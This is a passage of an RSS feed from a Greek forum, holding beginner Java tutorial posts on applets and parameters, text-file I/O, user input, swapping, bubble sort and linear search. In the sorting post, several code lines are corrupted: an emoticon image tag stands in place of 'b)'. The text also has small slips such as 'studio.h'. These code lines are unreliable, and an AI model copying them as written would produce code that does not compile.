PARAM.HTML και της μεθόδου getParameter του java.applet.Applet.class. <br /><br />Για να το δείξουμε αυτό θα χρησιμοποιήσουμε το HelloWorldApplet σε μια γενικά σχεδιασμένη εφαρμογή. Για να το κάνουμε αυτό θα περάσουμε στο applet τους παραμέτρους εκείνους που ορίζουν τα αλφαριθμητικά.<br /><br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->import java.applet.Applet;    <br />import java.awt.Graphics; <br />             <br />public class DrawStringApplet extends Applet {<br /><br />  String input_from_page;<br /><br />  public void init() {<br />    input_from_page = getParameter("String");<br />  }<br />  <br />  public void paint(Graphics g) {<br />    g.drawString(input_from_page, 50, 25);<br />  }<br />  <br />}<!--fontc--></span><!--/fontc--><br /><br />Τώρα χρειάζεται να δημιουργήσεις ένα html αρχείο που θα περιλαμβάνει το applet σου. Αυτό θα το κάνει το ακόλουθο html αρχείο:<br /><br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->&lt;HTML&gt;<br />&lt;HEAD&gt;<br />&lt;TITLE&gt; Draw String &lt;/TITLE&gt;<br />&lt;/HEAD&gt;<br /><br />&lt;BODY&gt;<br />This is the applet:&lt;P&gt;<br />&lt;APPLET codebase="classes" code="DrawStringApplet.class" width=200 height=200&gt;&lt;PARAM name="String" value="Howdy, there!"&gt;&lt;/APPLET&gt;<br />&lt;/BODY&gt;<br />&lt;/HTML&gt;<!--fontc--></span><!--/fontc--><br /><br />Φυσικά είσαι ελεύθερος να αλλάξεις το ‘Howdy, there’ σε ένα string της επιλογής σου. Σημείωσε ότι αυτό σου επιτρέπει να αλλάξεις το output του applet χωρίς να αλλάξεις ή να ξαναδιορθώσεις τον κώδικα. <br /><br />Δεν είσαι περιορισμένος σε μια μόνο παράμετρο. Μπορείς να περάσεις πολλές ονομαζόμενες παραμέτρους σε ένα applet.<br /><br />Η μέθοδος getParameter είναι απλή. Της δίνεις ένα string το οποίο είναι το όνομα της παραμέτρου που θέλεις. Σου επιστρέφει ένα string, που έιναι η τιμή της παραμέτρου. Όλοι οι παράμετροι χρησιμοποιούνται σαν string. Εαν θέλεις να πάρεις κάτι άλλο, όπως έναν ακέραιο, θα πρέπει να το χρησιμοποιήσεις σαν string και να το μετατρέψεις, έπειτα, στον τύπο που πραγματικά θέλεις.<br /><br />Η ετικέτα PARAM HTML είναι επίσης απλή. Τοποθετείται ανάμεσα στο &lt;APPLET&gt; και στο &lt;/APPLET&gt;. Έχει δυο παραμέτρους δικές του, το NAME(όνομα) και το VALUE(τιμή). Το NAME καθορίζει ποιοι παράμετροι είναι για τη μέθοδο getParameter και VALUE είναι η τιμή της παραμέτρου σαν string. Και τα δυο πρέπει να εσωκλειστούν σε διπλά εισαγωγικά, όπως όλοι οι άλλες παράμετροι ετικέτας html.]]></description>
		<pubDate>Mon, 15 Jun 2009 21:53:10 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=951</guid>
	</item>
	<item>
		<title>HELLO WORLD : H MIΝΙ ΕΦΑΡΜΟΓΗ</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=950</link>
		<description><![CDATA[Ο λόγος για τον οποίο όλοι είναι ενθουσιασμένοι με τη Java είναι ότι επιτρέπει να γράφουμε αλληλεπιδραστικές εφαρμογές στο δίκτυο. Το Hello World δεν είναι ένα αλληλεπιδραστικό πρόγραμμα αλλά ας δούμε την παρακάτω έκδοση:<br /><br />import java.applet.Applet;    <br /><br /><br />import java.awt.Graphics; <br />              <br />public class HelloWorldApplet extends Applet {<br /><br />  public void paint(Graphics g) {<br />    g.drawString("Hello world!", 50, 25);<br />  }<br />  <br />}<br /><br />Αυτή η έκδοση είναι λίγο πιο πολύπλοκη από την προηγούμενη αλλά θέλει κι άλλη προσπάθεια για να τρέξει καλύτερα.<br /><br />Πρώτα πληκτρολογήστε τον κώδικα και σώστε το σ’ ένα αρχείο που να λέγεται HelloWorldApplet.java στο javahtml/κλάσειςιdirectory. Μεταγλωτίστε το πρόγραμμα πληκτολογώντας javac HelloWorldApplet.java στο command line prompt.<br /><br />Αν όλα πάνε καλά θα δημιουργηθεί ένα αρχείο με το όνομα HelloWorldApplet.class. Αυτό το αρχείο πρέπει να βρίσκεται στο directory των κλάσεων. Τώρα πρέπει να δημιουργήσετε ένα αρχείο HTML που θα συμπεριλαμβάνει την εφαρμογή σας. Ακολουθεί το απλό αρχείο HTML.<br /><br /><br />&lt;HTML&gt;<br />&lt;HEAD&gt;<br />&lt;TITLE&gt; Hello World &lt;/TITLE&gt;<br />&lt;/HEAD&gt;<br /><br />&lt;BODY&gt;<br />This is the applet:&lt;P&gt;<br />&lt;APPLET codebase="classes" code="HelloWorldApplet.class" width=200 height=200 &gt;&lt;/APPLET&gt;<br />&lt;/BODY&gt;<br />&lt;/HTML&gt;<br /><br />Σώστε αυτό το αρχείο σαν «HelloWorldApplet.html» στο javahtml directory. Όταν το κάνετε φορτώστε το αρχείο HTML σ’ έναν Java browser, όπως HotJava ή Netscape 2.0. Θα πρέπει να δείτε το ακόλουθο:<br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->This is the applet:<br /><br />Hello World!<!--fontc--></span><!--/fontc--><br /><br />Αν η μίνι εφαρμογή μεταγλωτιστεί χωρίς λάθος και παράγει το αρχείο HelloWorldApplet.class και ακόμα δεν βλέπετε το αλφαριθμητικό «Hello World» στο browser, τότε πιθανότατα το αρχείο κλάσης είναι σε λάθος μέρος. Ελέγξτε αν το αρχείο .html είναι στο directory javahtml και το αρχείο .class είναι στο java/κλάσειςιdirectory.<br /><br /><b><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->ΕΞΕΤΑΖΟΝΤΑΣ ΤΗ ΜΙΝΙ ΕΦΑΡΜΟΓΗ HELLO WORLD<!--sizec--></span><!--/sizec--></b><br /><br />Το Hello World Applet πρόσθεσε κάποια πράγματα στο Ηello World Application. Κινούμενοι από πάνω προς τα κάτω, το πρώτο πράγμα που προσέχουμε είναι οι δύο γραμμές.<br /><br /> <br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->import java.applet.Applet; <br /><br />import java.awt.Graphics;<br /><br /><!--fontc--></span><!--/fontc--> <br /><br />Η δήλωση import στη Java είναι παρόμοια με τη δήλωση #include στην C ή στην C++. Εισάγει τις κλάσεις που περιέχονται σ’ ένα πακέτο κάπου αλλού. Ένα πακέτο είναι ένα σύνολο από σχετιζόμενες κλάσεις. Σ’ αυτήν την περίπτωση ζητάμε πρόσβαση στις κλάσεις που συμπεριλαμβάνονται στο java.applet.Applet και java.awt.Graphics.<br /><br />Η επόμενη διαφορά που παρατηρούμε είναι ο ορισμός της κλάσης:<br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->public class HelloWorldApplet extends Applet<!--fontc--></span><!--/fontc--><br /><br />Η λέξη κλειδί extends υπονοεί ότι αυτή η κλάση είναι μια υποκλάση της κλάσης Applet. Ή αλλιώς η Applet είναι η υπερκλάση του HelloWorldApplet. Η κλάση Applet προσδιορίζεται στο πακέτο java.applet.Applet. Εφόσον το HelloWorldApplet είναι υποκλάση του Applet, τότε το HelloWorldApplet κληρονομεί όλη τη λειτουργικότητα του αρχικού Applet. Ό,τι μπορεί να κάνει η Applet, μπορεί να το κάνει και το HelloWorldApplet επίσης.<br /><br />Η επόμενη διαφορά είναι λιγότερο ορατή (εκτός κι αν είστε έμπειρος προγραμματιστής της C). Δεν υπάρχει κύρια μέθοδος. Οι Applets δεν τις χρειάζονται. Η κύρια μέθοδος είναι στον browser ή στον AppletViewer, όχι στην ίδια την Applet. Οι Αpplets προσφέρουν επιπλέον λειτουργικότητα αλλά δεν μπορούν να τρέξουν χωρίς να τις φιλοξενήσει ένα κύριο πρόγραμμα. <br /><br />Αντί να αρχίσουν από ένα συγκεκριμένο σημείο του κώδικα, οι μίνι εφαρμογές οδηγούνται από γεγονότα. Μία εφαρμογή περιμένει για ένα γεγονός όπως το πάτημα ενός πλήκτρου ή το κλικ του ποντικιού και έπειτα εκτελεί το κατάλληλο event handler. Εφόσον αυτό είναι το πρώτο μας πρόγραμμα είχαμε μόνο έναν event handler, το paint.<br /><br />Oι περισσότερες εφαρμογές πρέπει να χειρίζονται το paint. Αυτό το γεγονός συμβαίνει όταν κάποιο τμήμα της ορατής περιοχής της εφαρμογής δεν είναι καλυμμένο και πρέπει να βαφτεί.<br /><br />Η μέθοδος paint χρησιμοποιεί ένα αντικείμενο Graphics που επιλέγουμε να το λέμε g. Η κλάση Graphics ορίζεται στο πακέτο java.awt.Graphics. Μέσα στη μέθοδο paint καλούμε την μέθοδο g’s drawString να γράψει το αλφαριθμητικό «Hello World» στις συντεταγμένες (50,25). Αυτό είναι 50 pixels αριστερά και 25 pixels κάτω από την πάνω αριστερή γωνία της εφαρμογής. Θα μιλήσουμε περισσότερο για το σύστημα συντεταγμένων αργότερα. Η ζωγραφική λαμβάνει χώρα όταν τμήμα της οθόνης που συμπεριλαμβάνει την εφαρμογή είναι αρχικά καλυμμένη αλλά μετά χρειάζεται φρεσκάρισμα.]]></description>
		<pubDate>Mon, 15 Jun 2009 21:52:15 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=950</guid>
	</item>
	<item>
		<title>ΚΕΦΑΛΑΙΟ 3: Μίνι Εφαρμογές ( Applets)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=949</link>
		<description><![CDATA[Συγκεκριμένοι προγραμματιστές λέγεται ότι «γράφουν Fortran σε όλες τις γλώσσες». Τώρα πια έχετε τη γνώση να συνοδεύετε τη Java με ό,τι μπορεί να γίνει μέσα στα όρια του ANSI-standard Fortran 77.<br />Πρόκειται να δουλέψουμε με προγραμματισμό που καθοδηγείται από γεγονότα. Αυτός ο τρόπος προγραμματισμού πρέπει να είναι γνωστός στους προγραμματιστές Macintosh και Windows. Σ’ αυτά τα περιβάλλοντα η λογική του προγράμματος δεν ρέει από την κορυφή στη βάση του προγράμματος όπως στους πιο διαδικαστικούς κώδικες. Το λειτουργικό σύστημα συλλέγει τα γεγονότα και το πρόγραμμα ανταποκρίνεται σ’ αυτό.<br /><br />Κάθε πρόγραμμα έχει ένα event loop. Αυτός είναι ένας βρόγχος while που δουλεύει ασταμάτητα. Σε κάθε πέρασμα μέσα από το loop, η εφαρμογή επανακτά το επόμενο γεγονός από τη σειρά γεγονότων και ανταποκρίνεται ανάλογα.<br /><br />Οι μίνι εφαρμογές (applets) συμπεριφέρονται παρόμοια. Το περιβάλλον εκτέλεσης (π.χ. ο browser) φροντίζει για τον βρόγχο της εφαρμογής.<br /><br /> ]]></description>
		<pubDate>Mon, 15 Jun 2009 21:47:16 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=949</guid>
	</item>
	<item>
		<title>ΔΙΑΒΑΖΟΝΤΑΣ ΕΝΑ ΑΡΧΕΙΟ ΚΕΙΜΕΝΟΥ</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=948</link>
		<description><![CDATA[Τώρα που ξέρουμε πώς να γράψουμε ένα αρχείο κειμένου ας προσπαθήσουμε να διαβάσουμε ένα. Ο παρακάτω κώδικας εφαρμόζει τη χρησιμότητα του Unix στη Java. Δέχεται μια σειρά από ονόματα αρχείων στη γραμμή εντολών και μετά τυπώνει αυτά τα ονόματα στη συγκεκριμένη έξοδο με τη σειρά που καταγράφηκαν.<br /><br /><br />// Imitate the Unix cat utility<br /><br />import java.io.*;<br /><br />class cat  {<br /><br />  public static void main (String args[]) {<br />  <br />  String thisLine;<br /><br />  //Loop across the arguments<br />  for (int i=0; i &lt; args.length; i++) {<br /> <br />  //Open the file for reading<br />  try {<br />    FileInputStream fin =  new FileInputStream(args[i]);<br /><br />    // now turn the FileInputStream into a DataInputStream<br />    try {<br />      DataInputStream myInput = new DataInputStream(fin);<br />  <br />      try {<br />        while ((thisLine = myInput.readLine()) != null) {  // while loop begins here<br />          System.out.println(thisLine);<br />        } // while loop ends here<br />      }<br />      catch (Exception e) {<br />       System.out.println("Error: " + e);<br />      }<br />    } // end try<br />    catch (Exception e) {<br />      System.out.println("Error: " + e);<br />    }<br />  <br />   } // end try<br />   catch (Exception e) {<br />    System.out.println("failed to open file " + args[i]);<br />    System.out.println("Error: " + e);<br />  }<br />  } // for end here<br />  <br />  } // main ends here<br /><br />}<br /><br /><b><u><!--sizeo:4--><span style="font-size:14pt;line-height:100%"><!--/sizeo-->ΠΕΡΙΛΗΨΗ<!--sizec--></span><!--/sizec--></u></b><br /><br /><!--fonto:Book Antiqua--><span style='font-family: "Book Antiqua"'><!--/fonto--><!--coloro:#ff0000--><span style="color:#ff0000"><!--/coloro--><b>Αν έχετε φτάσει μέχρι εδώ είστε πια ικανοί να κάνετε αρκετή δουλειά σε Java. Μπορεί να μην το πιστεύετε επειδή δεν έχουμε μιλήσει ακόμα για τα ειδικά χαρακτηριστικά της Java, όπως είναι οι μίνι εφαρμογές.Η Java που γνωρίζετε είναι ικανή να χειριστεί οποιοδήποτε πρόβλημα που παλιότερα χειρίζονταν οι Basic και η Fortran 77.<br /><br />Το FahrToCelsius είναι μια πολύ βασική εφαρμογή που μπορεί να γραφτεί σε όλες σχεδόν τις προγραμματιστικές γλώσσες, από τον πιο αρχαίο κώδικα μέχρι την πιο ανεπτυγμένη μηχανή LISP. Είναι σημαντικό να σημειώσουμε ότι η Java λύνει αυτό το πρόβλημα τόσο εύκολα όσο και μια γλώσσα που συνδυάζει αριθμητικό και επιστημονικό προγραμματισμό, όπως η Fortran, η C. Ο κώδικας αυτός μεταφράστηκε σχεδόν κατά λέξη από τους Kernighan και Ritchie. Απαιτήθηκαν μόνο κάποιες μικρές σημασιολογικές αλλαγές για να γίνει ένα έγκυρο και αποτελεσματικό πρόγραμμα σε Java. Παρόλο που η Java έχει πολλά χαρακτηριστικά που την κάνουν κατάλληλη για πολύπλοκες εφαρμογές, είναι κατάλληλη και για κλασσικά αριθμητικά προγράμματα, κάτι που δεν ισχύει για τους ανταγωνιστές όπως SmallTalk και LISP.<br /><br />Στην πραγματικότητα η Java μπορεί να ξεπεράσει τη Fortran και τη C στις αριθμητικές εφαρμογές, όταν η ακρίβεια, η αξιοπιστία και η ευελιξία είναι πιο σημαντικές από την ταχύτητα.</b><!--colorc--></span><!--/colorc--><!--fontc--></span><!--/fontc-->]]></description>
		<pubDate>Mon, 15 Jun 2009 21:46:26 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=948</guid>
	</item>
	<item>
		<title>ΓΡΑΦΟΝΤΑΣ ΕΝΑ ΑΡΧΕΙΟ ΚΕΙΜΕΝΟΥ</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=947</link>
		<description><![CDATA[Κάποιες φορές θέλουμε να σώσουμε μία έξοδο σέρνοντάς την (scrolling) απλώς στην οθόνη. Για να το κάνουμε αυτό πρέπει να μάθουμε πώς να γράφουμε δεδομένα σ’ ένα αρχείο. Αντί να δημιουργήσουμε ένα καινούριο πρόγραμμα θα τροποποιήσουμε το Fahrenheit to Celsius.<br /><br />// Write the Fahrenheit to Celsius table in a file<br /><br /><br /><br />import java.io.*;<br /><br />class FahrToCelsius  {<br /><br />  public static void main (String args[]) {<br /><br />    double fahr, celsius;<br />    double lower, upper, step;<br /><br />    lower = 0.0;    // lower limit of temperature table<br />    upper = 300.0;  // upper limit of temperature table<br />    step  = 20.0;   // step size<br /><br />    fahr = lower;<br />  <br />    try {<br /><br />      FileOutputStream fout =  new FileOutputStream("test.out");<br /><br />      // now to the FileOutputStream into a PrintStream<br />      PrintStream myOutput = new PrintStream(fout);<br />  <br />      while (fahr &lt;= upper) {  // while loop begins here<br />        celsius = 5.0 * (fahr-32.0) / 9.0;<br />        myOutput.println(fahr + " " + celsius);<br />        fahr = fahr + step;<br />      } // while loop ends here<br />  <br />    }  // try ends here<br />    catch (IOException e) {<br />      System.out.println("Error: " + e);<br />      System.exit(1);<br />    }<br />  <br />  } // main ends here<br /><br />}<br /><br />Υπάρχουν 3 απαραίτητες συνθήκες για να γράψουμε μορφοποιημένη έξοδο σε ένα αρχείο:<br /><br /><br /><!--coloro:#ff0000--><span style="color:#ff0000"><!--/coloro-->1.<!--colorc--></span><!--/colorc--> <b>Ανοίξτε ένα FileOutputStream χρησιμοποιώντας μία γραμμή όπως παρακάτω:</b><br /><br /><u>FileOutputStream fout = new FileOutputStream("test.out");</u><br /><br /><!--fonto:Palatino Linotype--><span style='font-family: "Palatino Linotype"'><!--/fonto-->Αυτή η γραμμή αρχικοποιεί το FileOutputStream με το όνομα του αρχείου που θέλετε να γράψετε μέσα.<!--fontc--></span><!--/fontc--><br /><br /><!--coloro:#ff0000--><span style="color:#ff0000"><!--/coloro-->2.<!--colorc--></span><!--/colorc--> <b>Μετατρέψτε το FileOutputStream σε PrintStream χρησιμοποιώντας μία δήλωση όπως:</b><br /><br /><u>PrintStream myOutput = new PrintStream(fout);</u><br /><br /><!--coloro:#ff0000--><span style="color:#ff0000"><!--/coloro-->3.<!--colorc--></span><!--/colorc--><b> Αντί να χρησιμοποιήσετε το System.out.println(), χρησιμοποιείστε το myOutput.println().System.out και myOutput. Είναι διαφορετικά παραδείγματα της κλάσης PrintStream. Για να τυπώσουμε σε ένα διαφορετικό PrintStream κρατάμε ίδια τη σύνταξη αλλά αλλάζουμε το όνομα του PrintStream.</b>]]></description>
		<pubDate>Mon, 15 Jun 2009 21:45:25 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=947</guid>
	</item>
	<item>
		<title>ΔΙΑΒΑΖΟΝΤΑΣ ΑΡΙΘΜΟΥΣ</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=946</link>
		<description><![CDATA[Συχνά τα αλφαριθμητικά δεν αρκούν. Πολλές φορές ζητάμε από το χρήστη έναν αριθμό σαν είσοδο. Όλες οι είσοδοι του χρήστη έρχονται σαν αλφαριθμητικά, τα οποία θέλουμε να τα μετατρέψουμε σε αριθμούς.<br />Τώρα γράφουμε τη μέθοδο getNextInteger() που δέχεται έναν ακέραιο από το χρήστη.<br /><br /><br />  static int getNextInteger() {<br />  <br />    String line;<br />  <br />    DataInputStream in = new DataInputStream(System.in);<br />    try {<br />      line = in.readLine();<br />      int i = Integer.valueOf(line).intValue();<br />      return i;<br />    }<br />    catch (Exception e) {<br />      return -1;<br />    }<br />       <br />  } // getNextInteger ends here<br /><br /><b><u>ΔΙΑΒΑΖΟΝΤΑΣ ΜΟΡΦΟΠΟΙΗΜΕΝΑ ΔΕΔΟΜΕΝΑ</u></b><br /><br />Είναι συχνή η περίπτωση να ζητάμε όχι έναν αριθμό αλλά πολλούς. Άλλες φορές θέλουμε να διαβάσουμε κείμενο και αριθμούς στην ίδια γραμμή. Γι’ αυτό το σκοπό η Java παρέχει την κλάση StreamTokenizer.]]></description>
		<pubDate>Mon, 15 Jun 2009 21:43:49 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=946</guid>
	</item>
	<item>
		<title>ΑΜΕΣΗ ΕΠΙΚΟΙΝΩΝΙΑ ΜΕ ΤΟΝ ΧΡΗΣΤΗ</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=945</link>
		<description><![CDATA[Θα ξεκινήσουμε με ένα πολύ απλό πρόγραμμα το οποίο ζητά τα ονόματα των χρηστών και έπειτα τυπώνει έναν προσωπικό χαιρετισμό.<br /><br />import java.io.*;<br /><br /><br /><br />class PersonalHello {<br /><br />  public static void main (String args[])<br />    {<br />    <br />      byte name[] = new byte[100];<br />      int nr_read = 0;<br /><br />      System.out.println("What is your name?");<br />      try {<br />        nr_read = System.in.read(name);<br />        System.out.print("Hello ");<br />        System.out.write(name,0,nr_read);<br />      }<br />      catch (IOException e) {<br />        System.out.print("I'm Sorry.  I didn't catch your name.");<br />      }<br />      <br />    }<br />    <br />}<br /><br />Το <b>import.java.io.*;</b> είναι το αντίστοιχο <b>#include &lt;studio.h&gt;</b> της C. Τα περισσότερα απ’ αυτά που διαβάζετε και γράφετε στη Java είναι σε bytes. (Αργότερα θα δούμε ότι γίνεται να διαβάζουμε αρχεία κειμένου σε strings. Εδώ ξεκινήσαμε με έναν πίνακα από bytes που θα κρατάει το όνομα του χρήστη.<br /><br />Πρώτα τυπώνουμε ένα ερώτημα ζητώντας το όνομα του χρήστη. Έπειτα διαβάζουμε το όνομα χρησιμοποιώντας τη μέθοδο System.in.read(). Αυτή η μέθοδος παίρνει έναν πίνακα byte σαν όρισμα και τοποθετεί αυτό που πληκτρολογεί ο χρήστης. Έπειτα όπως και πριν τυπώνουμε «Hello». Τέλος τυπώνουμε το όνομα του χρήστη.<br /><br />Το πρόγραμμα στην πραγματικότητα δεν βλέπει τι πληκτρολογεί ο χρήστης μέχρι αυτός να πατήσει το enter. Έτσι δίνεται η ευκαιρία στον χρήστη να διορθώσει τυχόν λάθη. Όταν όμως πατήσει το πλήκτρο enter, ό,τι υπάρχει στη γραμμή τοποθετείται στον πίνακα.<br /><br />Τι γίνεται αν ο χρήστης πληκτρολογήσει περισσότερους από 100 χαρακτήρες προτού πατήσει το enter; Σε πολλές προγραμματιστικές γλώσσες αυτό θα οδηγούσε στο σπάσιμο του προγράμματος. Η Java είναι πιο ασφαλής. Η μέθοδος System.in.read() ελέγχει το μήκος του πίνακα χρησιμοποιώντας την ιδιότητα name.length.]]></description>
		<pubDate>Mon, 15 Jun 2009 21:43:22 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=945</guid>
	</item>
	<item>
		<title>ΑΡΧΕΙΑ Ι/Ο ΚΑΙ STREAMS</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=944</link>
		<description><![CDATA[Πολλές φορές γράφετε δεδομένα σ’ ένα αρχείο αντί για την οθόνη του υπολογιστή. Κάτω από UNIX ή DOS μπορείτε να το κάνετε αυτό χρησιμοποιώντας τους τελεστές &lt;και&gt;. Κάποιες φορές χρειάζεστε μια άλλη προσέγγιση που να γράφει συγκεκριμένα δεδομένα σε ένα αρχείο, ενώ όλα τα άλλα στην οθόνη. Ή χρειάζεστε πρόσβαση σε διάφορα αρχεία ταυτοχρόνως. Ή ίσως θέλετε να διαβάσετε τα δεδομένα ενός αρχείου που έχουν μια συγκεκριμένη μορφοποίηση. Στη Java όλες αυτές οι μέθοδοι συμβαίνουν σαν streams.<br /><br /><br />Τα streams είναι σημαντικό θέμα της Java και αργότερα θα αφιερώσουμε ολόκληρο κεφάλαιο σ’ αυτό. Τώρα θέλουμε απλά να καλύψουμε τα πιο βασικά που θα σας επιτρέψουν να γράψετε, να διαβάσετε αρχεία και να επικοινωνήσετε με το χρήστη. Στην πραγματικότητα το System.out.println() που χρησιμοποιούμε συνεχώς είναι μια εφαρμογή των streams.]]></description>
		<pubDate>Mon, 15 Jun 2009 21:42:28 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=944</guid>
	</item>
	<item>
		<title>ΤΑΞΙΝΟΜΗΣΗ (SORTING)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=942</link>
		<description><![CDATA[Όλοι οι αλγόριθμοι ταξινόμησης βασίζονται σε δύο θεμελιώδεις λειτουργίες: τη σύγκριση και τη μετακίνηση (swapping). Η σύγκριση είναι απλή. Το swapping είναι λίγο πιο πολύπλοκο. Θεωρείστε το ακόλουθο πρόβλημα. Θέλουμε να μεταφέρουμε την τιμή από το a στο b. Οι πιο πολλοί θα πρότειναν μια λύση σαν την ακόλουθη:<br /><br />class Swap1 {<br /><br /><br /><br />  public static void main(String args[]) {<br />  <br />   int a = 1;<br />   int b = 2;<br />   <br />   System.out.println("a = "+a);<br />   System.out.println("b = "+<img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/cool.gif" style="vertical-align:middle" emoid="B)" border="0" alt="cool.gif" />;<br />   <br />   // swap a and b<br />   <br />   a = b;<br />   b = a;<br />   <br />   System.out.println("a = "+a);<br />   System.out.println("b = "+<img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/cool.gif" style="vertical-align:middle" emoid="B)" border="0" alt="cool.gif" />;   <br />  <br />  }<br /><br />}<br /><br /><b>Αυτή θα δημιουργούσε την παρακάτω έξοδο:</b><br /><br />a = 1<br /><br />b = 2<br /><br />a = 2<br /><br />b = 2<br /><br /><b>Δεν περιμέναμε όμως αυτό! Το πρόβλημα είναι ότι χάσαμε την τιμή 1 καθώς βάλαμε την τιμή του b στο a. Για να διορθωθεί αυτό πρέπει να εισάγουμε μια τρίτη μεταβλητή, την temp, η οποία θα κρατάει την αρχική τιμή του a.</b><br /><br /><br />class Swap2 {<br /><br />  public static void main(String args[]) {<br />  <br />   int a = 1;<br />   int b = 2;<br />   int temp;<br />   <br />   System.out.println("a = "+a);<br />   System.out.println("b = "+<img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/cool.gif" style="vertical-align:middle" emoid="B)" border="0" alt="cool.gif" />;<br />   <br />   // swap a and b<br />   <br />   temp = a;<br />   a = b;<br />   b = temp;<br />   <br />   System.out.println("a = "+a);<br />   System.out.println("b = "+<img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/cool.gif" style="vertical-align:middle" emoid="B)" border="0" alt="cool.gif" />;   <br />  <br />  }<br /><br />}<br /><br /><b>Aυτός ο κώδικας παράγει το αποτέλεσμα που περιμέναμε.</b><br /><br />a = 1<br /><br />b = 2<br /><br />a = 2<br /><br />b = 1<br /><br /><b><u>Bubble Sort</u></b><br /><br />Tώρα που είδαμε πώς να μετακινούμε τις τιμές 2 μεταβλητών, ας προχωρήσουμε στην ταξινόμηση. Υπάρχουν πολλοί διαφορετικοί αλγόριθμοι ταξινόμησης. Ένας από τους πιο απλούς και δημοφιλής αλγόριθμους είναι ο bubble sort. Η έννοια του bubble sort είναι να ξεκινήσουμε από την κορυφή του πίνακα. Συγκρίνουμε κάθε στοιχείο με το επόμενο στοιχείο. Αν είναι μεγαλύτερο από αυτό τότε τα μεταθέτουμε. Αυτή τη διαδικασία την κάνουμε όσες φορές χρειαστεί. Η μικρότερη τιμή εμφανίζεται στην κορυφή του πίνακα ενώ η μεγαλύτερη στο τέλος. Ακολουθεί ο κώδικας:<br /><br /><br />import java.util.*;<br /><br />class BubbleSort {<br /><br />  public static void main(String args[]) {<br />  <br />   int[] n;<br />   n = new int[10];<br />   Random myRand = new Random();<br />   <br />   // initialize the array<br />   for (int i = 0; i &lt; 10; i++) {<br />     n[i] = myRand.nextInt();<br />   }<br />   <br />   // print the array's initial order<br />   System.out.println("Before sorting:"); <br />   for (int i = 0; i &lt; 10; i++) {<br />     System.out.println("n["+i+"] = " + n[i]);<br />   }<br />   <br />   boolean sorted = false;<br />   // sort the array<br />   while (!sorted) {<br />     sorted = true;<br />     for (int i=0; i &lt; 9; i++) {<br />       if (n[i] &gt; n[i+1]) {<br />         int temp = n[i];<br />         n[i] = n[i+1];<br />         n[i+1] = temp;<br />         sorted = false;<br />       }   <br />     }<br />   }<br /><br />  // print the sorted array<br />  System.out.println();<br />  System.out.println("After sorting:");  <br />   for (int i = 0; i &lt; 10; i++) {<br />     System.out.println("n["+i+"] = " + n[i]);<br />   }<br /><br />  <br />  }<br /><br />}<br /><b><br />Σ’ αυτήν την περίπτωση ταξινομήσαμε έναν πίνακα με αύξουσα σειρά. Το μικρότερο στοιχείο μπαίνει πρώτο. Θα ήταν εύκολο να το αλλάξουμε σε ταξινόμηση με φθίνουσα σειρά.<br /><br /></b>]]></description>
		<pubDate>Mon, 15 Jun 2009 21:40:27 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=942</guid>
	</item>
	<item>
		<title>ΑΝΑΖΗΤΗΣΗ (SEARCHING)</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=941</link>
		<description><![CDATA[Είναι πολύ συνηθισμένο να ψάχνουμε σ’ έναν πίνακα μια συγκεκριμένη τιμή. Μερικές φορές αυτή η τιμή είναι γνωστή εκ των προτέρων. Άλλες φορές αναζητάμε το μικρότερο ή το μεγαλύτερο στοιχείο. <br />Εκτός από την περίπτωση που ξέρουμε κάτι για το περιεχόμενο ενός πίνακα, σε όλες τις άλλες περιπτώσεις ο πιο γρήγορος αλγόριθμος αναζήτησης ενός πίνακα είναι η γραμμική αναζήτηση. Χρησιμοποιούμε έναν βρόγχο for και βλέπουμε κάθε στοιχείο του πίνακα μέχρι να βρούμε το στοιχείο που θέλουμε. Ακολουθεί μια απλή μέθοδος που τυπώνει το μεγαλύτερο και το μικρότερο στοιχείο ενός πίνακα.<br /><br /><br />   static void printLargestAndSmallestElements (int[] n) {<br />  <br />    int max = n[0];<br />    int min = n[0];<br />    <br />    for (int i=1; i &lt; n.length; i++) {<br />      if (max &lt; n[i]) {<br />        max = n[i];<br />      }<br />      if (min &gt; n[i]) {<br />        min = n[i];<br />      }<br />    }<br />    <br />    System.out.println("Maximum: " + max);<br />    System.out.println("Minimum: " + min);<br />    <br />    return;<br />  <br />  }<br />  <br /><br />Αν πρόκειται να ψάξετε έναν πίνακα πολλές φορές, πιθανόν να θελήσετε να τον ταξινομήσετε πρώτα. Θα δούμε τους αλγόριθμους ταξινόμησης στο επόμενο κεφάλαιο.]]></description>
		<pubDate>Mon, 15 Jun 2009 21:38:56 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=941</guid>
	</item>
	<item>
		<title>ΜΕΤΡΗΣΗ ΨΗΦΙΩΝ (COUNTING DIGITS)</title>
